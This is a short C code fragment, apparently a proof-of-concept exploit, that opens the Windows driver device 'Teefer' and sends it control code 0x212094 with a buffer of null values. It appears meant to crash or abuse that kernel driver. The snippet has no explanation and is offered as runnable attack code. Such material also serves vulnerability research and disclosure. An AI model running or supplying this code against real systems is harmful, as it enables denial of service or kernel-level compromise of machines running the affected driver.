hDevice = CreateFile("\\\\.\\Teefer", GENERIC_WRITE | GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if(hDevice == INVALID_HANDLE_VALUE) { printf("Open failed\n"); } else { printf("Device opened.\n"); char buffer[8]; DWORD *ptr = (DWORD *)buffer; DWORD *ptr2 = (DWORD *)(buffer + 4); DWORD ret; *ptr = 0; *ptr2 = 0; if(DeviceIoControl(hDevice, 0x212094, buffer, 8, buffer, 8, &ret, 0)) printf("Sent.\n"); CloseHandle(hDevice); }